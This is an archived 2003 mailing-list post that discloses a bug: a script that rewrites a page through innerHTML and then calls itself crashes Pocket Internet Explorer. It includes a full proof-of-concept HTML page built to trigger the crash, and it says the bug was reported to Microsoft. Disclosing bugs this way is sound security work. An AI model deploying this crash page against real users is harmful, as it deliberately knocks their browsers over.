JS Bug makes it possible to deliberately crash Pocket PC IE

From: Christopher Sogge Røtnes (crotnesat_private)
Date: Fri Jan 03 2003 - 00:56:06 PST

  • Next message: angusat_private: "Re: JS Bug makes it possible to deliberately crash Pocket PC IE (fwd)"

    PROBLEM DESCRIPTION:
    Calling a javascript from an object written to same page with the 
    object.innerHTML function causes Pocket Internet Explorer (PIE from now on) 
    to crash.
    
    SOFTWARE AFFECTED:
    Only PIE is affected, "regular" IE will show the pages as intented.
    
    EXAMPLE:
    <html>
    <head>
    <title>Crash PIE</title>
    <script language="Javascript">
    function displayPage(page){
    if(page=="onload"){
       main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash 
    me</a>";
    }
    if(page=="crash"){
       main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">You are 
    going down!</a>";
    }
    }
    </script>
    </head>
    <body onLoad="displayPage('onload');">
    <hr>
    <span id="main"></span>
    </body></html>
    
    SOLUTIONS:
    no known patch available
    
    
    Problem was reported to MS (Norway) 2nd of January 2003.
    
    
    Chris
    



    This archive was generated by hypermail 2b30 : Fri Jan 03 2003 - 09:10:15 PST